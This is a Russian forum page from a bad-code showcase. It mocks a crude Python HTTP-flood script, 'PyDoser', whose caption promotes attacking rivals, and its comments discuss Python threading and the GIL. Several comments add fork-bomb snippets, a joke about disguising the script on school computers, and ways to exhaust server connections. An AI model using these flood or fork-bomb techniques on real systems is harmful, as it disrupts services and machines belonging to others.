1. Python / Говнокод #26339

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    # coding: utf8
    
    import threading
    import requests
    
    banner = """
     ____________________________________________________
    |                                                    |
    | [--] Name: PyDoser                                 |
    |                                                    |
    | [--] Created by: @c3berman                         |
    |                                                    |
    | [--] Telegram channel: @detectent                  |
    |                                                    |
    | [--] Version: 1.0.6                                |
    |____________________________________________________|
    """
    
    print(banner)
    
    def dos():
     while True:
      requests.get("http://example.com")
      
    while True:
     threading.Thread(target=dos).start()

    Наткнулся на просторах "этих ваших интернетов" с следующей подписью:
    "DDoS инструмент, который позволит вам наказать обидчиков, либо протестировать конкурентов) Вам нужно в коде изменить example com -> на свой сайт для атаки. Скоро опубликую IP DDoS Tool)"

    Запостил: fatcat75, 10 Января 2020

    Комментарии (191) RSS

    • показать все, что скрытоvanished
      Ответить
      • Да, желательно, чтобы на пути сигнала не было никаких маршрутизаторов, которые могут зависнуть от частых запросов.

        Хотя это может сработать и в более общих условиях, если сервер очень тормозной: слабый процессор или медленная база данных. «Медленная база данных» может означать, что запрос содержит 100500 джойнов, индексы отсутствуют и т. п.
        Ответить
    • В сокращении «DDoS» первая буква «D» означает «distributed». Где тут «distributed»???
      Ответить
      • показать все, что скрытоvanished
        Ответить
      • Запустите на всех компьютерах в кабинете информатике и сверните - может, не заметят (для этого переименуйте файл в SystemCheck.py). Дома запустите на своем компе и на папином ноутбуке. Попросите запустить друга.
        Ответить
    • показать все, что скрытоvanished
      Ответить
      • Погуглил. «pudo ser» с испанского переводится как «может быть», однако, на некоторых сайтах встречается опечатка «pydo ser». То ли диалектное написание (есть же всякие малораспространённые языки вроде каталанского, арагонского, галисийского, окситанского), то ли авторы малограмотные.
        Ответить
        • P.S. А бывают испанские падонки, каторые спициальна пишут с ашипками?
          Ответить
          • показать все, что скрытоvanished
            Ответить
            • Там в основном разница в произношении (кубинцы, например, глотают «s» перед согласными и в конце слова, а также глотают «d» между гласными). А также бывают диалектные слова и выражения, которые в других регионах не употребляются. Ну как подъезд и парадная.

              Гораздо хуже внутри самой Испании: в Арагоне, в Валенсии, в Каталонии, в Астурии, в Галисии могут говорить не на кастильском испанском, а на местных языках, которые без переводчика житель Кастилии не поймёт.
              Ответить
          • Сомневаюсь, что у испанцев есть интернет. Я за всю жизнь не видел ни одного испанского сайта.
            Ответить
            • Я знаю usuarios.lycos.es — что-то вроде испанского аналога «Geocities». К сожалению, сейчас он не отвечает. Только из вебархива можно что-то вытащить.
              Ответить
        • А еще есть какой-то самопальный генератор "Аудионаркотиков" с "Хомячкабра" https://habr.com/en/post/62518/
          Ответить
        • > арагонского
          Показалось, «аргонианского».
          Ответить
        • Много арагонские сервы,
          Малость евросоюзные смерды.
          Много раб принимает свою участь,
          Малость лютеранин начинает работать лучше.


          Много мусульман заставляют работать в поле,
          Много лютеран дубинками гонят в неволю.
          Зачем прогоняем защитников ветхозаветных законов?
          Много лютеранин сгорит вместе со своим городом.
          Ответить
    • Забавно, что эта хуйня кроме того сожрет все доступные пиды и распидорасит систему. Гораздо более вероятно, нежели чем уложит цель. Ну только если там не php-cgi, конечно.
      Ответить
      • показать все, что скрытоvanished
        Ответить
        • Кстати, тут два бесконечных цикла. Что это программа будет делать быстрее: отправлять запросы или создавать треды?
          Ответить
          • Забьёт всю память стеками тредов, а под отправку уже почти ничего не останется.
            Ответить
            • Какой багор )))

              Значит, всё-таки задачи нужно как-то планировать: ограничивать количество итераций или разбивать паузами.
              Ответить
              • Ну изначальной кучи таки хватит на что-то.
                Ответить
      • Берсерк-дудосер.
        Ответить
    • > Version: 1.0.6
      Тут, блять, всего 3 строчки. На что там можно было 6 версий просрать?
      Ответить
      • На баннер.
        Ответить
      • Скорее всего версий с 1.0.1 по 1.0.5 не существует. Это уже давно известный маркетинговый ход.
        Ответить
        • "Это уже моя третья книга. Вторую я решил не писать."

          Меня ещё забавляет, что чувак не осилил аргументы командной строки. Нужен другой URL? Иди и руками меняй, сука!
          Ответить
    • def dos():
          try:
              requests.get("http://example.com")
              dos()
          finally:
              dos()

      Починил.
      Ответить
      • denial of stack?
        Ответить
      • def dos():
            os.fork()
            requests.get(...)
            dos()
        Ответить
        • показать все, что скрытоvanished
          Ответить
        • >def dos():
          > os.fork()

          Лол, это типа сам себе сделал Deny of Service форк-бомбой?
          Ответить
          • Это автоматическая подстройка под возможности машины и сети.
            Ответить
            • Кстати, а ведь os.fork() в данном случае будет полезнее, чем threading.Thread(target=dos).start(), ибо пирфоманс последнего ограничен GIL. Так?
              Ответить
              • показать все, что скрытоvanished
                Ответить
                • Тупой ИГИЛ. Поэтому он и запрещен в роиссе.
                  Ответить
                • Чтение через requests - это считается IO? В чём смысл данного ограничения?
                  Ответить
                  • показать все, что скрытоvanished
                    Ответить
                  • показать все, что скрытоvanished
                    Ответить
                    • Почему второго потока должно ебать то, что происходит в первом? IO там, или полная загрузка проца, или работа с сетью.
                      Ответить
                      • показать все, что скрытоvanished
                        Ответить
                        • Зачем тогда нужен threading?
                          Ответить
                          • показать все, что скрытоvanished
                            Ответить
                            • Ну вообще это проблема конкретной реализации, вроде как. В следующих версиях или других реализациях треды могут оказаться полноценными...
                              Ответить
                            • Ещё раз, если я запущу 100 потоков, каждый записывает в свой файл 100Мб, это будет быстрее, чем в одном потоке последовательно писать 100 файлов?
                              Ответить
                              • С файлами скорее всего нет, а с сетью - да, и намного. Ибо сокеты в основном спят.
                                Ответить
                                • Ну и нахуй тогда треды нужны? И гость писал, что с requests тоже не поможет.
                                  Ответить
                                  • показать все, что скрытоvanished
                                    Ответить
                                    • Приведи реальный пример, я не понимаю.
                                      Ответить
                                      • > приведи реальный пример

                                        В шапке этого треда приведён же... HTTP запросы исполняются параллельно - пока один тред ждёт ответа от сети, другой может поделать что-то ещё.
                                        Ответить
                                      • > Приведи реальный пример
                                        for _ in range(100):
                                            requests.get('http://example.com')

                                        В результате выполнения этого кода на сервер example.com будут последовательно совершены 100 запросов, каждый из которых будет выполнен только после того, как завершится (клиент полностью получит и распарсит ответ) предыдущий.

                                        def getHuj():
                                            requests.get("http://example.com")
                                        for _ in range(100):
                                            threading.Thread(target=getHuj).start()
                                        time.sleep(10)  # чтобы программа не завершилась досрочно

                                        В результате выполнения этого кода на сервер example.com придут 100 параллельных, одновременных запросов (NB: вместо time.sleep() в конце надо сделать join() по всем тредам, но это лишнее усложнение реального примера).
                                        Ответить
                                    • > Напротив: я написал, что requirests это io.
                                      > Пока один спит на IO миллион лет, другой поток хуячит.

                                      Так чем мой пример с 100 файлами отличается? Это не спячка на IO? Не понимаю при чем тут IO. Обычный Sleep не подойдёт?
                                      Ответить
                                      • Просто файлы слишком быстрые. Там скорее всего и спячки не будет, в ядерный буфер хуйнёт да вернёт управление.

                                        Sleep должен прокатить за IO.
                                        Ответить
                                        • vanished
                                          Ответить
                                        • Почему тогда вы используете термин «IO», а не «поток спит»?
                                          Ответить
                                          • Потому что поток спит тогда, когда «упирается в IO». Это не мы придумали, это общеизвестный термин.
                                            Ответить
                                            • Не ну иногда он ещё спит на лочках, кондишенах и т.п. Но в питоне кроме I/O и явного sleep один хер нету причин для сна.
                                              Ответить
                                            • В приведённом мной примере про 100 файлов поток упирается в IO, и не спит. Не? Иначе почему пифомаса нет?
                                              (ну и Sleep ещё)
                                              Ответить
                                              • В приведённом тобой примере поток, скорее всего, будет упираться не в IO, а как раз в CPU. Потому что диски сейчас пошли быстрые и умные, со всякими там кэшами, и большую часть времени поток будет байты в буферах гонять и сисколлы дёргать.
                                                Справедливости ради, какое-то увеличение производительности, скорее всего, будет. Или не будет, если оверхед от переключения потоков (а это весьма тяжёлая вжопурация) перевесит.
                                                Ответить
                                  • Чтобы не городить асинхронную лапшу на ровном месте.
                                    Ответить
                                • показать все, что скрытоvanished
                                  Ответить
                      • Широко известно, что на одном ядре процессора в один момент времени может выполняться только одна инструкция из одного потока. Чтобы на компьютере мог работать охулион программ с охулиардом потоков, в реальном мире применяется так называемая «вытесняющая многозадачность»: операционная система составляет список всех потоков, запускает первый, ждёт N миллисекунд (это называется «квант времени»), останавливает первый, запускает второй, ждёт N миллисекунд, останавливает второй — и так далее (там ещё есть всякие приоритеты, прерывания, состояния потоков и прочая муть — но оно не нужно). В результате у пользователя создаётся впечатление, что все потоки работают «одновременно» — профит!
                        Теперь пусть есть два потока, A и B, и одноядерный процессор («GIL» в «Python» как раз его эмулирует: в один момент времени в пределах одного интерпретатора может работать только один поток, вне зависимости от количества ядер процессора). Запускается поток A. Этот поток посылает на example.com GET-запрос. Если он реализован блокирующим способом — потоку нужно дождаться, пока с сервера придёт ответ, то есть ничего не делать несколько десятков-сотен миллисекунд. В это время, пока поток A ничего не делает, ожидая ответ от сервера, включается поток B и может спокойно делать, что ему требуется. Таким образом, поток B получает дополнительные кванты времени, а поток A «упирается в IO».
                        Теперь представим, что поток A считает число «Пи» до триллионного знака. Все выделенные ему операционной системой N миллисекунд он будет гонять байтики в процессоре, и ждать не собирается. В результате поток B будет получать кванты времени только по очереди с A. На процессорах с несколькими ядрами в таком режиме работы будет загружено только одно ядро (из-за «GIL»).
                        Ответить
                        • vanished
                          Ответить
                        • Спасибо, понятно. Гость только с толку сбил своим «IO».
                          Получается отличие от JS в том, что в JS пока один «поток» не завершится, другой не сможет стартовать, а игил даёт по чуть-чуть времени по очереди.
                          Ответить
                        • >> Широко известно, что на одном ядре процессора в один момент времени может выполняться только одна инструкция из одного потока.

                          Почти. Уже на первом «Пентиуме» (P54) было два стула конвейера: «U-pipe» и «V-pipe». Могли одновременно исполняться две инструкции (одна проходила через «U-pipe», вторая — через «V-pipe»), если они не мешали друг другу, например, если они работали с разными регистрами, не задевая при этом флаги, не трогая EIP и не обращаясь к оперативке и к портам ввода-вывода. Там ещё какие-то ограничения были, «V-pipe» был неполноценным и умел исполнять не всё, поэтому распараллеливание инструкций было не таким частым событием.
                          Ответить
                          • показать все, что скрытоvanished
                            Ответить
                            • Вот, нашёл маленькую статью про два конвейера для старта поиска:
                              https://www.enlight.ru/faq3d/articles/61.htm
                              Ответить
                              • P.S. Некоторые кобенации мне показались странными. Как могут спариваться инструкции с побочным эффектом?
                                mov ecx,eax   / inc ecx       - будут спарены
                                shr ebx,4 / inc ebx - спарится
                                cmp eax,2 / ja @@label_bigger - спарится

                                Тут же вторая инструкция ожидает результата первой. Они объединяются в какую-то суперинструкцию?
                                Ответить
      • >>> def f():
        ...     try:
        ...             f()
        ...     except:
        ...             f()
        ...
        >>> f()
        Fatal Python error: Cannot recover from stack overflow.
        Current thread 0x000023f4 (most recent call first):
          File "<stdin>", line 3 in f
          File "<stdin>", line 3 in f
        ...

        После чего «python.exe» упал.
        Какой багор )))
        Ответить
        • В смысле упал? Exit code ненулевой - это правильно.
          Ответить
          • А, понил.
            Тогда нужно верхнеуровнево сделать try, тогда багор, да.
            Ответить
          • А, это винда своим окошком «прекращена работа…» напугала. На самом деле там «Unhandled exception at 0x00007FFHUJHUJHUJ (ucrtbase.dll) in python.exe: Fatal program exit requested.»
            Ответить
        • Я где-то кидал подобный пример для «PHP».
          Ответить
          • https://habrahabr.ru/company/mailru/blog/340242/
            Ответить
            • Именно поэтому я за «PHP».
              Ответить
              • Кстати, на «шаред хостингах» общий «апач» поднят? Можно таким образом дестабилизировать работу?
                Ответить
                • «Апач» — это абсолютно незащищённое говно. Его можно положить с одного калькулятора, например: https://en.wikipedia.org/wiki/Slowloris_(computer_security).
                  Ответить
                  • показать все, что скрытоvanished
                    Ответить
                  • Кстати, чтобы побыстрее исчерпать количество доступных соединений, на сервере нужно:
                    1. Увеличить интервал keep-alive, чтобы ненужные соединения висели как можно дольше.
                    2. Либо использовать технологию «Comet». Это не средство, которое рекламировала «тётя Ася», а вечно открытое соединение для питушни реального времени вроде мессенджеров:
                    https://ru.wikipedia.org/wiki/Comet_(программирование)

                    Если за «Апачем» много сайтов, которые используют первое и/или второе, положить их будет легче.
                    Ответить
            • > Основной баг как раз в вашем рнр коде, как вы сами и написали рекурсивный вызов, который и так очевиден, без анализа исходников.
              В комментах типичная идейная пыхомакака, которая уверена, что "РНР" на самом деле идеален, это все остальные ничиво нипанимают и не умеют правильно писать на "РНР".
              Ответить
        • >После чего «python.exe» упал
          >...     except:
          >...             f()


          Так у меня же finally было!
          except — неправильно.
          С finally программа будет работать ОЧЕНЬ долго и стабильно.
          Ответить
          • Не, тоже падает.
            Ответить
            • А вариант с форком?
              Ответить
              • А вариант с форком я не запускал, мне перезагружаться потом лень.
                Ответить
                • По-моему чтобы добиться вздрыжне-эффекта, нужно джва форка — один за другим.

                  Впрочем я когда-то (очень давно) умудрялся без перезагрузки прибивать эти процессы, когда был запущен невинный bat-файл
                  %0 | %0
                  Ответить
                  • Жалко, что «Ideone» не позволяет запускать скрипт из-под себя:
                    https://ideone.com/ge7FUw
                    Ответить
                  • Не так давно я ставил себе сборку «Скайрима» и столкнулся с интересным багром: штатно там запускается файл «TESV.exe», который запускает файл «SKSE.exe», который запускает файл «Skyrim.exe» (первый — простая обёртка-запускатор, второй — хуйня, которая расширяет скриптовый движок «Скайрима», третий — сам «Скайрим»). А вот при попытке запустить всё это добро из менеджера модов случился багор: «TESV.exe» запускал «SKSE.exe», а «SKSE.exe» запускал… «TESV.exe»! В результате на экране начала вылезать и тут же исчезать туева хуча консольных окошек (какой-то из этих бинарников оказался с «Subsystem: Console»), мгновенно срывавших фокус. К тому, ничего с файлами сделать было нельзя — мол, используются, неможно их удалять. Исправил путём применения крутой утилиты под названием «Unlocker», переименовав один из файлов в хуйню.
                    Ответить
                    • У скурима рабоспособных модов меньше 5%, а он еще и скриптоту пытается туда засунуть... Ну не долбоеб ли?

                      https://www.youtube.com/watch?v=YD_8pxjr70o

                      Вообще руснявая игровая ракота это просто невообразимый пиздец, вон там тытруба в предлагает посмотреть "даэдрическая броня на 1 уровне", а на самом деле какой-то малец советует кастовать файрболл в стену до 90 уровня а потом поллора обойти ради ингридиентов. А русня даже не жалуется на это.
                      Ответить
                  • > нужно 2 форка

                    Тут их бесконечно много, ну пока стека хватит и http запросы успешно исполняются.
                    Ответить
            • Питон — гавно.
              То ли дело жаба.

              https://ideone.com/fork/ZDal8g

              Это можно хоть на сервак деплоить.
              Ответить
              • А всё потому, что Жаба — нескриптовый язык.
                Ответить
              • Всё, где есть «StackOverflowException» или аналоги - гамно.
                Ответить
                • Именно поэтому я за «DOS». Стек не больше 64К, зато его можно растягивать неограниченно, затирая данные и код своей программы (потому что он растёт вниз).
                  Ответить
    • подудось мой CDN полностью
      Ответить
      • Потом не расплатишься, если это амазон какой-нибудь...
        Ответить
    • говнокод тот
      Ответить
    • Интересно, example.com ещё жив? А то ведь не все пользователи скрипта полезут пердолиться с конфигом...
      Ответить
      • Этот домен в RFC запретили использовать. Его специально зарезервировали для таких скриптов.
        Ответить
      • https://tools.ietf.org/html/rfc2606
        Ответить
        • А на example.com, оказывается, повесили тестовую страничку с таким содержимым:
          ________________________________________ ____________________________

          Example Domain

          This domain is for use in illustrative examples in documents. You may use this domain in literature without prior coordination or asking for permission.

          More information...

          ________________________________________ ____________________________

          Ссылка ведёт на https://www.iana.org/domains/reserved

          Раньше по адресу example.com вроде сайтов не было.

          Он ещё и ETag отправляет для отслеживания.
          Ответить
          • Т.е. он таки зареган?
            Ответить
            • Сам удивился.

              Domain Name: EXAMPLE.COM
              Registry Domain ID: 2336799_DOMAIN_COM-VRSN
              Registrar WHOIS Server: whois.iana.org
              Registrar URL: http://res-dom.iana.org
              Updated Date: 2019-08-14T07:04:41Z
              Creation Date: 1995-08-14T04:00:00Z
              Registry Expiry Date: 2020-08-13T04:00:00Z
              Registrar: RESERVED-Internet Assigned Numbers Authority
              Registrar IANA ID: 376
              Registrar Abuse Contact Email:
              Registrar Abuse Contact Phone:
              Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
              Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
              Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
              Name Server: A.IANA-SERVERS.NET
              Name Server: B.IANA-SERVERS.NET
              Ответить
              • > Registry Expiry Date: 2020-08-13T04:00:00Z
                Его еще и продлевать надо :))
                Ответить
                • А если не успеют, можно перекупить этот домен и поймать скрипт-киддис?
                  Ответить
          • Эта табличка всегда там выскакивала, лишнехромосомный.
            Ответить
        • у "example.com" top level domain же ".com"
          Ответить
          • Читаем RFC 2606. Там есть глава про домены второго уровня.

            3. Reserved Example Second Level Domain Names
            
               The Internet Assigned Numbers Authority (IANA) also currently has the
               following second level domain names reserved which can be used as
               examples.
            
                    example.com
                    example.net
                    example.org
            Ответить
    • показать все, что скрытоvanished
      Ответить
    • показать все, что скрытоvanished
      Ответить
      • Ничего охуенного тут нет, вот придёт фрезерофщик на работу пьяный, и потом пальцев нет => работы нет.
        Ответить
        • Именно поэтому я за «трезвость».
          Ответить
        • Мне больше понравилось "вкладывай заготовку только пинцетом"
          А он вкладывал, наверное, зубами, и сунул туда голову
          И теперь он тоже медведь.
          Ответить
    • показать все, что скрытоvanished
      Ответить
      • 10150 всего получилось.

        Не понимаю, на что он там сожрал 85(!) гигов виртуальной памяти. Стеки вроде мелкие.
        Ответить
        • А, всё, 8 метров по дефолту на тред. Можно урезать через threading.stack_size().

          Но один фиг 10150. Видимо в айдишники упирается.
          Ответить
        • ulimit -u unlimited и sysctl kernel.threads-max тоже не помогают. Хм, во что же оно упирается...
          Ответить
        • Сука, сишный код тоже в эти 10к упирается.
          Ответить
        • > 85(!) гигов виртуальной памяти
          Совсем нефиг делать в выходные? :)
          Хотя, с NVMe питушнёй наверно не так долго ждать.
          Ответить
          • Дык она просто выделена. Ни оперативка ни своп не пострадают, пока в эти гигабайты никто не срёт.
            Ответить
            • «Reserved», но не «commited» (не помню точно терминологию)?

              То есть «commited» (реальный прирост свопа или заём из оперативки) будет после первого доступа?

              А зачем тогда при создании треда память резервируется, если не используется? Зачем? Зачем?
              Ответить
            • А, виртуальная же, понял. А рабочий питух сколько нажрал?
              Ответить
      • Да пока память не забьётся... Цей код обречён на провал, нужо бiло создати хотя бы пятьдесят потцiв, но шобы вони отправлялы тяжкие запросы.
        Ответить
    • Как низко вы опустились. >120 комментов под каким-то нерабочим говном на питоне...
      Ответить
    • Кто положил «Ideone»? То 503, то «System error».
      Ответить

    Добавить комментарий